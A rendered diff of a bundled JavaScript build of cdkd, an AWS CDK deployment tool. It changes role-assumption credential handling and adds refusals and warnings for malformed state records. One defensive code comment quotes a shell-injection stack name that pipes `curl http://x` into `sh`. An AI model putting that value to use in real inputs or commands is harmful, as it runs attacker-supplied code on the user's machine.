+
* `--assume-role` is for, and never what `--role-arn` asked for. Channel 1's
|
|
21363
|
+
* `ignoreAssumedRole` opt-out cannot express that here, because the value is
|
|
21364
|
+
* not a client config but three variables whose original contents the
|
|
21365
|
+
* overwrite below destroys. So the caller's own triple is SNAPSHOTTED first
|
|
21366
|
+
* (`setPreAssumeEnvCredentials`), and the local surface's forwarding sites
|
|
21367
|
+
* restore it — or, when the caller had none, strip the role's.
|
|
21368
|
+
* `src/utils/caller-credentials.ts` owns that decision and its reasoning.
|
|
21369
|
+
*
|
|
21370
|
+
* So the split is by ROLE, not by channel: `--role-arn` decides the
|
|
21371
|
+
* IDENTITY (channel 1, every client under `src/**`), and the profile keeps
|
|
21372
|
+
* the two jobs an assumed role cannot do — answering the `AssumeRole`
|
|
21373
|
+
* below, and supplying shared-config settings such as the region. The
|
|
21374
|
+
* bound that leaves: with both in play, a client built OUTSIDE `src/**`
|
|
21375
|
+
* still resolves the profile, because channel 2 stays inert for it.
|
|
21122
21376
|
*
|
|
21123
21377
|
* **What the assumed role must carry.** Unlike `cdk deploy`, cdkd does
|
|
21124
21378
|
* NOT route through CloudFormation. There is no cfn-exec-role to
|
|
@@ -21132,18 +21386,31 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
|
|
|
21132
21386
|
* `AdministratorAccess`. CDK CLI's `cdk-hnb659fds-deploy-role-*` is NOT
|
|
21133
21387
|
* sufficient — that role only carries CFn + asset-publish permissions.
|
|
21134
21388
|
*
|
|
21389
|
+
* **Once per process, enforced at both ends.** Every command handler calls this
|
|
21390
|
+
* exactly once, at its entry, and a second call cannot quietly work: the
|
|
21391
|
+
* `AssumeRole` hop below opts out of the published role (so it is answered by
|
|
21392
|
+
* the identity the user started with, never by role A assuming role B — a chain
|
|
21393
|
+
* AWS caps at one hour and refuses unless B's trust policy names A), and
|
|
21394
|
+
* `setAssumedRoleCredentials` then REFUSES the second publish outright. Both
|
|
21395
|
+
* are needed: the opt-out alone would let two identities coexist, and the
|
|
21396
|
+
* refusal alone would leave the hop chaining.
|
|
21397
|
+
*
|
|
21135
21398
|
* Default session duration is 1 hour. For longer-running deploys, the
|
|
21136
21399
|
* caller should re-issue the cdkd command (the in-flight credentials
|
|
21137
21400
|
* stay valid until expiry, but a re-run is the simplest recovery for
|
|
21138
|
-
* the rare case where a deploy outlives them).
|
|
21401
|
+
* the rare case where a deploy outlives them). Nothing refreshes them —
|
|
21402
|
+
* `AssumedRoleCredentials.expiration` is carried for the log line, not acted
|
|
21403
|
+
* on; that field's doc in `aws-client-defaults.ts` records the bound.
|
|
21139
21404
|
*/
|
|
21140
21405
|
async function applyRoleArnIfSet(opts) {
|
|
21141
21406
|
const roleArn = opts.roleArn || process.env["CDKD_ROLE_ARN"];
|
|
21142
21407
|
if (!roleArn) return;
|
|
21408
|
+
if (getAssumedRoleCredentials() !== void 0) throw new Error(SECOND_ROLE_PUBLISH_REFUSAL);
|
|
21143
21409
|
const logger = getLogger().child("role-arn");
|
|
21144
|
-
|
|
21410
|
+
const displayRoleArn = displaySafe(roleArn, { asciiOnly: true });
|
|
21411
|
+
logger.debug(`Assuming role ${displayRoleArn}...`);
|
|
21145
21412
|
const sts = new STSClient({
|
|
21146
|
-
...awsClientDefaults(),
|
|
21413
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
21147
21414
|
...opts.region && { region: opts.region }
|
|
21148
21415
|
});
|
|
21149
21416
|
try {
|
|
@@ -21152,13 +21419,22 @@ async function applyRoleArnIfSet(opts) {
|
|
|
21152
21419
|
RoleSessionName: `cdkd-${Date.now()}`,
|
|
21153
21420
|
DurationSeconds: 3600
|
|
21154
21421
|
}));
|
|
21155
|
-
if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${
|
|
21422
|
+
if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${displayRoleArn}`);
|
|
21156
21423
|
const { AccessKeyId, SecretAccessKey, SessionToken, Expiration } = response.Credentials;
|
|
21157
|
-
if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${
|
|
21424
|
+
if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${displayRoleArn}`);
|
|
21425
|
+
setPreAssumeEnvCredentials(readEnvCredentials());
|
|
21158
21426
|
process.env["AWS_ACCESS_KEY_ID"] = AccessKeyId;
|
|
21159
21427
|
process.env["AWS_SECRET_ACCESS_KEY"] = SecretAccessKey;
|
|
21160
21428
|
process.env["AWS_SESSION_TOKEN"] = SessionToken;
|
|
21161
|
-
|
|
21429
|
+
setAssumedRoleCredentials({
|
|
21430
|
+
accessKeyId: AccessKeyId,
|
|
21431
|
+
secretAccessKey: SecretAccessKey,
|
|
21432
|
+
sessionToken: SessionToken,
|
|
21433
|
+
...Expiration && { expiration: Expiration }
|
|
21434
|
+
});
|
|
21435
|
+
logger.info(`Assumed role ${displayRoleArn} (session expires ${Expiration?.toISOString() ?? "unknown"})`);
|
|
21436
|
+
const selectedProfile = process.env["AWS_PROFILE"];
|
|
21437
|
+
if (selectedProfile !== void 0 && selectedProfile !== "") logger.warn("AWS_PROFILE is set and a role has been assumed. The AWS calls cdkd makes to deploy and read state run as the role. The profile still decides the region, it is what your CDK app resolves during synthesis, and — when you passed `--profile` rather than exporting it — it is the identity a `cdkd local` emulated function or task is given. See https://github.com/go-to-k/cdkd/blob/main/docs/cli-reference.md");
|
|
21162
21438
|
} finally {
|
|
21163
21439
|
sts.destroy();
|
|
21164
21440
|
}
|
|
@@ -21744,6 +22020,543 @@ function classifyReplaySecretRegion(expression, consumerRegion, importedProducer
|
|
|
21744
22020
|
};
|
|
21745
22021
|
}
|
|
21746
22022
|
|
|
22023
|
+
//#endregion
|
|
22024
|
+
//#region src/state/malformed-resources-bag.ts
|
|
22025
|
+
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
22026
|
+
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
22027
|
+
/**
|
|
22028
|
+
* Answer the ONE question both helpers below key on: can this record's
|
|
22029
|
+
* resource map be read at all?
|
|
22030
|
+
*
|
|
22031
|
+
* Widened past `null` / `undefined` because the message says "no readable
|
|
22032
|
+
* resources map" and a hand-edited record does not stop at those two: a
|
|
22033
|
+
* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
|
|
22034
|
+
* empty or, for the string, absurd — repaired silently and warned about
|
|
22035
|
+
* nowhere. The predicate is the plain-object test the bag's own type implies.
|
|
22036
|
+
*/
|
|
22037
|
+
function hasReadableResources(state) {
|
|
22038
|
+
return isReadableBag(state.resources);
|
|
22039
|
+
}
|
|
22040
|
+
/**
|
|
22041
|
+
* The same question for the `outputs` bag — and it is a SEPARATE predicate
|
|
22042
|
+
* rather than a second argument to the one above because the ABSENCE rule
|
|
22043
|
+
* differs, which is the split {@link isReadableBag}'s own note calls a
|
|
22044
|
+
* per-container call.
|
|
22045
|
+
*
|
|
22046
|
+
* An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
|
|
22047
|
+
* round-trips one deliberately rather than materializing `{}` over it, and the
|
|
22048
|
+
* deploy's failure-path saves write `outputs: currentState.outputs`, which
|
|
22049
|
+
* `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
|
|
22050
|
+
* while it is a defect for `resources`. `null` is NOT exempt — it is a value a
|
|
22051
|
+
* hand-edited record carries and every consumer either throws on it or
|
|
22052
|
+
* launders it into `{}`.
|
|
22053
|
+
*
|
|
22054
|
+
* Both {@link repairMalformedOutputsForReadOnly} and
|
|
22055
|
+
* {@link refuseMalformedOutputs} delegate to this, so the read-only and the
|
|
22056
|
+
* write-capable halves cannot come to different verdicts about the same record.
|
|
22057
|
+
*/
|
|
22058
|
+
function hasReadableOutputs(state) {
|
|
22059
|
+
return state.outputs === void 0 || isReadableBag(state.outputs);
|
|
22060
|
+
}
|
|
22061
|
+
/**
|
|
22062
|
+
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
22063
|
+
* to look at, and what NOT to do next.
|
|
22064
|
+
*
|
|
22065
|
+
* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
|
|
22066
|
+
* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
|
|
22067
|
+
* `.claude/rules/layout-state-types.md` require of any suggestion a user is
|
|
22068
|
+
* meant to paste, for two separate reasons.
|
|
22069
|
+
*
|
|
22070
|
+
* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
|
|
22071
|
+
* printable-ASCII allowlist, so it removes the line- and escape-forgery class
|
|
22072
|
+
* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
|
|
22073
|
+
* trusted here, since a stack name reaches the cross-stack read path from an
|
|
22074
|
+
* `Fn::GetStackOutput` argument or an S3 key. A name spelled
|
|
22075
|
+
* `a'; curl http://x|sh; echo '` would close the quoting and append its own
|
|
22076
|
+
* command to the line this text tells the user to RUN.
|
|
22077
|
+
*
|
|
22078
|
+
* Wrapping the command in `'...'` is not enough either, and is what makes the
|
|
22079
|
+
* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
|
|
22080
|
+
* produces something unpastable. Hence unwrapped and last.
|
|
22081
|
+
*
|
|
22082
|
+
* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
|
|
22083
|
+
* nothing — an empty argument makes `--stack-region` swallow the next flag,
|
|
22084
|
+
* turning a remedy into a differently-broken command.
|
|
22085
|
+
*
|
|
22086
|
+
* MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
|
|
22087
|
+
* considered exporting it. `cdkd scrub`'s audited-record refusal needed the
|
|
22088
|
+
* same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
|
|
22089
|
+
* BOUNDARY, because its names go into a comma-joined list where a name
|
|
22090
|
+
* containing the delimiter forges an entry. `displayIdent` has all four —
|
|
22091
|
+
* JSON-quoting escapes the delimiter it adds — so that caller uses it and this
|
|
22092
|
+
* stays private. The pair here is not duplicated: what differs is the
|
|
22093
|
+
* `shellQuote` composition every message in THIS module needs and that one
|
|
22094
|
+
* must not have.
|
|
22095
|
+
*/
|
|
22096
|
+
function safeIdentifier(value) {
|
|
22097
|
+
const safe = displaySafe(value, { asciiOnly: true });
|
|
22098
|
+
if (!safe) return UNRENDERABLE;
|
|
22099
|
+
const { text, truncated } = truncateCodePoints(safe, 128);
|
|
22100
|
+
return truncated ? `${text}...` : text;
|
|
22101
|
+
}
|
|
22102
|
+
function malformedStateDetail(stackName, region) {
|
|
22103
|
+
const stack = safeIdentifier(stackName);
|
|
22104
|
+
const reg = safeIdentifier(region);
|
|
22105
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22106
|
+
}
|
|
22107
|
+
/**
|
|
22108
|
+
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
22109
|
+
* command can report on it, and say so (issue go-to-k/cdkd#3018).
|
|
22110
|
+
*
|
|
22111
|
+
* `parseStateBody` deliberately does not validate the inner shape, so a
|
|
22112
|
+
* hand-edited or truncated record reaches a command with `resources` absent,
|
|
22113
|
+
* `null`, or some other non-object. Every such command then died on a raw
|
|
22114
|
+
* `TypeError` from the first `Object.keys` / `in` / index read — the exact
|
|
22115
|
+
* wording differs per shape (`Cannot convert undefined or null to object`,
|
|
22116
|
+
* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
|
|
22117
|
+
* them names a stack, a key or a remedy, from exactly the commands a user
|
|
22118
|
+
* reaches for WHEN the state is broken.
|
|
22119
|
+
*
|
|
22120
|
+
* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
|
|
22121
|
+
* the twelve `Object.entries(state.resources)` loops, which was inert: every
|
|
22122
|
+
* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
|
|
22123
|
+
* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
|
|
22124
|
+
* happened one line up and the guards only made it look handled. One call per
|
|
22125
|
+
* load dominates the whole flow behind it, including the helpers that take the
|
|
22126
|
+
* state as a parameter (`orphan-rewriter`, `diff-calculator`,
|
|
22127
|
+
* `collectCcApiRoutes`).
|
|
22128
|
+
*
|
|
22129
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
22130
|
+
* on `true`. A silent repair is its own defect — an empty resource set is
|
|
22131
|
+
* indistinguishable from a healthy empty stack in every later line of output,
|
|
22132
|
+
* so `No changes detected` over an unreadable record is a clean verdict about
|
|
22133
|
+
* nothing.
|
|
22134
|
+
*
|
|
22135
|
+
* **Only for a command that cannot WRITE state.** Anything that can persist
|
|
22136
|
+
* uses {@link refuseMalformedState} instead; see its note.
|
|
22137
|
+
*/
|
|
22138
|
+
function repairMalformedResourcesForReadOnly(state) {
|
|
22139
|
+
if (hasReadableResources(state)) return false;
|
|
22140
|
+
state.resources = {};
|
|
22141
|
+
return true;
|
|
22142
|
+
}
|
|
22143
|
+
/**
|
|
22144
|
+
* The refusal TEXT, for a command whose own exit-code contract means this
|
|
22145
|
+
* cannot be a plain `CdkdError`.
|
|
22146
|
+
*
|
|
22147
|
+
* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
|
|
22148
|
+
* plaintext") and every one of its refusals carries `exitCode = 2`, because a
|
|
22149
|
+
* CI gate reading the code alone must be able to tell "scrub looked and found
|
|
22150
|
+
* a leak" from "scrub refused to look" — the two call for opposite responses.
|
|
22151
|
+
* So scrub tests {@link hasReadableResources} and raises its own class around
|
|
22152
|
+
* this text rather than calling {@link refuseMalformedState}.
|
|
22153
|
+
*
|
|
22154
|
+
* The other three refusing commands do NOT share that need, and giving them a
|
|
22155
|
+
* single shared code would be wrong in the other direction: `cdkd rollback`
|
|
22156
|
+
* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
|
|
22157
|
+
* would tell an operator to re-run a command that attempted nothing.
|
|
22158
|
+
*/
|
|
22159
|
+
function malformedStateRefusalMessage(stackName, region) {
|
|
22160
|
+
return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
|
|
22161
|
+
}
|
|
22162
|
+
/**
|
|
22163
|
+
* The warning a view emits when it emptied one or more {@link
|
|
22164
|
+
* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
|
|
22165
|
+
*
|
|
22166
|
+
* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
|
|
22167
|
+
* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
|
|
22168
|
+
* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
|
|
22169
|
+
* from an empty stack: deploy would re-CREATE everything and destroy would
|
|
22170
|
+
* delete nothing. No container named here can produce that specific confusion —
|
|
22171
|
+
* the resource SET is still readable — so borrowing that sentence would attach
|
|
22172
|
+
* a re-create-the-world warning to a record whose resource list is intact.
|
|
22173
|
+
*
|
|
22174
|
+
* It is NOT that these containers are display-only. `properties` is read by the
|
|
22175
|
+
* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
|
|
22176
|
+
* nothing from this module, and a non-object there compares unequal to any
|
|
22177
|
+
* desired object and yields a spurious property-change set — filed as
|
|
22178
|
+
* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
|
|
22179
|
+
* display-only premise, which would have read as licence to drop a guard on
|
|
22180
|
+
* that path (review of go-to-k/cdkd#3190).
|
|
22181
|
+
*
|
|
22182
|
+
* What stays the same is the remedy: `--json` is the mode that shows the
|
|
22183
|
+
* stored value.
|
|
22184
|
+
*
|
|
22185
|
+
* ONE warning per record however many containers it names — a stack whose 500
|
|
22186
|
+
* resources all carry a hand-edited `properties` gets one line, not 500. The
|
|
22187
|
+
* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
|
|
22188
|
+
* stable across records. Not `.sort()` — that order is deliberately not
|
|
22189
|
+
* alphabetical, and its own JSDoc says so.
|
|
22190
|
+
*
|
|
22191
|
+
* Both identifiers are sanitized and then shell-quoted, and the command is
|
|
22192
|
+
* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
|
|
22193
|
+
* gives.
|
|
22194
|
+
*
|
|
22195
|
+
* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
|
|
22196
|
+
* they cannot drift from it — but NOT `shellQuote`, because they appear in the
|
|
22197
|
+
* PROSE and never inside the command this text tells the reader to run; the
|
|
22198
|
+
* command carries the two identifiers and nothing else.
|
|
22199
|
+
*
|
|
22200
|
+
* Sanitizing them is not dead code written for a case that cannot happen. The
|
|
22201
|
+
* union above is closed at COMPILE time, so without this the guarantee would
|
|
22202
|
+
* live in a comment, and the day a caller derives a name from a record instead
|
|
22203
|
+
* of from a literal an unsanitized element could forge a line, render as empty
|
|
22204
|
+
* quotes naming nothing, or run to kilobytes and push the remedy command off
|
|
22205
|
+
* the reader's screen. `safeIdentifier` closes all three and is the identity on
|
|
22206
|
+
* all four literals, so no user-visible text moves.
|
|
22207
|
+
*
|
|
22208
|
+
* What it does NOT close, stated rather than reassured away: a forged name made
|
|
22209
|
+
* only of printable ASCII still renders verbatim inside its quotes and could
|
|
22210
|
+
* read as prose. That residual is bounded to the PROSE — the command the reader
|
|
22211
|
+
* pastes is built from the two shell-quoted identifiers alone — and closing it
|
|
22212
|
+
* would mean JSON-quoting a name in the one place the text is meant to read as
|
|
22213
|
+
* English (review of go-to-k/cdkd#3190).
|
|
22214
|
+
*/
|
|
22215
|
+
function malformedRenderedContainersWarning(stackName, region, containers) {
|
|
22216
|
+
const stack = safeIdentifier(stackName);
|
|
22217
|
+
const reg = safeIdentifier(region);
|
|
22218
|
+
const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
|
|
22219
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22220
|
+
}
|
|
22221
|
+
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
22222
|
+
function malformedResourcesWarning(stackName, region) {
|
|
22223
|
+
return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
|
|
22224
|
+
}
|
|
22225
|
+
/**
|
|
22226
|
+
* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
|
|
22227
|
+
* READ-ONLY command that DIFFS the stored bag rather than rendering it
|
|
22228
|
+
* (go-to-k/cdkd#3189).
|
|
22229
|
+
*
|
|
22230
|
+
* `computeOutputsDiff` enumerates the stored bag twice, the second walk
|
|
22231
|
+
* emitting one `REMOVE` row per stored key today's template no longer declares.
|
|
22232
|
+
* It used to admit the bag on a bare `?? {}`, which covers `null` and
|
|
22233
|
+
* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
|
|
22234
|
+
* a string or a list previewed the REMOVAL of outputs that never existed, one
|
|
22235
|
+
* row per character or element, each carrying a character of the record as its
|
|
22236
|
+
* `old:` side, with `cdkd diff --fail` exiting 1 on them.
|
|
22237
|
+
*
|
|
22238
|
+
* AT THE LOAD, for the reason
|
|
22239
|
+
* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
|
|
22240
|
+
* that is specific to this container: `cdkd diff` dereferences the stored bag
|
|
22241
|
+
* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
|
|
22242
|
+
* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
|
|
22243
|
+
* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
|
|
22244
|
+
* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
|
|
22245
|
+
* outright on `null` (`Cannot convert undefined or null to object`). So a guard
|
|
22246
|
+
* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
|
|
22247
|
+
* `TypeError`, one call above it.
|
|
22248
|
+
*
|
|
22249
|
+
* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
|
|
22250
|
+
* {@link isReadableBag}'s verdict, and the split is measured rather than
|
|
22251
|
+
* stylistic. Both stored-bag lookups named above gate on
|
|
22252
|
+
* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
|
|
22253
|
+
* bag never reaches one; every other consumer on the diff path carries its own
|
|
22254
|
+
* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
|
|
22255
|
+
* function's own walk). An absent bag is therefore inert, exactly the condition
|
|
22256
|
+
* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
|
|
22257
|
+
* would be a false positive on a record cdkd itself supports: `cdkd scrub`
|
|
22258
|
+
* round-trips a record with no `outputs` deliberately, refusing to materialize
|
|
22259
|
+
* `{}` over it, and the deploy's failure-path saves write
|
|
22260
|
+
* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
|
|
22261
|
+
* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
|
|
22262
|
+
* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
|
|
22263
|
+
* like any other unreadable shape.
|
|
22264
|
+
*
|
|
22265
|
+
* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
|
|
22266
|
+
* purpose: it asked that a `null` bag "diff exactly as it does today and say
|
|
22267
|
+
* nothing", and diffing exactly as it does today means THROWING. Recorded on
|
|
22268
|
+
* the issue rather than silently traded.
|
|
22269
|
+
*
|
|
22270
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
22271
|
+
* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
|
|
22272
|
+
* the reason {@link refuseMalformedState} gives — a bag laundered into a
|
|
22273
|
+
* well-formed empty one is permanent, and for `outputs` it would also take the
|
|
22274
|
+
* exports index with it on the next write.
|
|
22275
|
+
*/
|
|
22276
|
+
function repairMalformedOutputsForReadOnly(state) {
|
|
22277
|
+
if (hasReadableOutputs(state)) return false;
|
|
22278
|
+
state.outputs = {};
|
|
22279
|
+
return true;
|
|
22280
|
+
}
|
|
22281
|
+
/**
|
|
22282
|
+
* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
|
|
22283
|
+
*
|
|
22284
|
+
* Deliberately neither {@link malformedResourcesWarning}'s text nor
|
|
22285
|
+
* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
|
|
22286
|
+
* continuing empty differs from both. The resources text forbids
|
|
22287
|
+
* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
|
|
22288
|
+
* indistinguishable from an empty stack; the resource set is intact here. The
|
|
22289
|
+
* rendered-containers text says the view "shows no rows there" — true of a
|
|
22290
|
+
* renderer, false of a diff, which does not go quiet on an empty stored bag but
|
|
22291
|
+
* reports every resolved output as an `ADD`. Saying so is the point: an
|
|
22292
|
+
* operator who reads `ADD` rows for outputs the stack already has needs to know
|
|
22293
|
+
* the comparison lost its left-hand side.
|
|
22294
|
+
*
|
|
22295
|
+
* Identifiers are sanitized and then shell-quoted and the command is emitted
|
|
22296
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
22297
|
+
*/
|
|
22298
|
+
function malformedOutputsWarning(stackName, region) {
|
|
22299
|
+
const stack = safeIdentifier(stackName);
|
|
22300
|
+
const reg = safeIdentifier(region);
|
|
22301
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22302
|
+
}
|
|
22303
|
+
/**
|
|
22304
|
+
* For a command that can WRITE state: refuse the record by name instead of
|
|
22305
|
+
* repairing it.
|
|
22306
|
+
*
|
|
22307
|
+
* Repairing is actively DANGEROUS here, and the PR that introduced this module
|
|
22308
|
+
* shipped that danger for one round before its security review caught it.
|
|
22309
|
+
* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
|
|
22310
|
+
* change alone satisfies — so a record holding `"resources": null` and a
|
|
22311
|
+
* plaintext secret in `outputs` would be scrubbed, and then saved back with a
|
|
22312
|
+
* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
|
|
22313
|
+
* signal that anything is wrong; laundering it into a legitimate-looking empty
|
|
22314
|
+
* one is permanent and silent. The next `cdkd deploy` then reads zero resources
|
|
22315
|
+
* and CREATES the whole stack a second time, and the next `cdkd destroy`
|
|
22316
|
+
* deletes nothing and orphans every live resource — and the one-shot warning
|
|
22317
|
+
* that would have said so is long gone, quite possibly for a different
|
|
22318
|
+
* operator. `cdkd import --force` launders it the same way.
|
|
22319
|
+
*
|
|
22320
|
+
* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
|
|
22321
|
+
* this names the stack, the region, the defect and the remedy, and exits on a
|
|
22322
|
+
* code rather than on a stack trace.
|
|
22323
|
+
*/
|
|
22324
|
+
function refuseMalformedState(state, stackName, region) {
|
|
22325
|
+
if (hasReadableResources(state)) return;
|
|
22326
|
+
throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
22327
|
+
}
|
|
22328
|
+
/**
|
|
22329
|
+
* The `outputs` half of {@link malformedStateRefusalMessage}, for the same
|
|
22330
|
+
* reason that one is exported separately from the throw: `cdkd scrub`'s exit
|
|
22331
|
+
* `1` is spoken for and it raises its own exit-2 class around this text.
|
|
22332
|
+
*
|
|
22333
|
+
* A DIFFERENT text from the `resources` refusal because the consequence of
|
|
22334
|
+
* continuing differs, the same way the three warnings in this module differ. The
|
|
22335
|
+
* `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
|
|
22336
|
+
* unreadable resource MAP is indistinguishable from an empty stack; the resource
|
|
22337
|
+
* set is intact here. What is at stake instead is the SHARED exports index:
|
|
22338
|
+
* `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
|
|
22339
|
+
* bag published one fabricated export per character into the namespace every
|
|
22340
|
+
* other stack's `Fn::ImportValue` binds against.
|
|
22341
|
+
*
|
|
22342
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
22343
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
22344
|
+
*/
|
|
22345
|
+
function malformedOutputsRefusalMessage(stackName, region) {
|
|
22346
|
+
const stack = safeIdentifier(stackName);
|
|
22347
|
+
const reg = safeIdentifier(region);
|
|
22348
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22349
|
+
}
|
|
22350
|
+
/**
|
|
22351
|
+
* The line `ExportIndexStore`'s rebuild emits for a producer record whose
|
|
22352
|
+
* export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
|
|
22353
|
+
* plain object, or `exportNames` present and not an array.
|
|
22354
|
+
*
|
|
22355
|
+
* A THIRD outputs text rather than {@link malformedOutputsWarning} because the
|
|
22356
|
+
* consequence is again different, which is the rule the two above already
|
|
22357
|
+
* follow. That one describes a DIFF continuing with an empty left-hand side.
|
|
22358
|
+
* This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
|
|
22359
|
+
* other stacks resolve against — so the symptom a reader will actually meet is
|
|
22360
|
+
* a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
|
|
22361
|
+
* and not this record. Saying which producer dropped out is the whole value of
|
|
22362
|
+
* the line.
|
|
22363
|
+
*
|
|
22364
|
+
* It says the rebuild CONTINUES, because it does: refusing would take every
|
|
22365
|
+
* other producer in the region down with it, and the index is best-effort by
|
|
22366
|
+
* design.
|
|
22367
|
+
*
|
|
22368
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
22369
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
22370
|
+
*/
|
|
22371
|
+
function malformedExportSourceWarning(stackName, region) {
|
|
22372
|
+
const stack = safeIdentifier(stackName);
|
|
22373
|
+
const reg = safeIdentifier(region);
|
|
22374
|
+
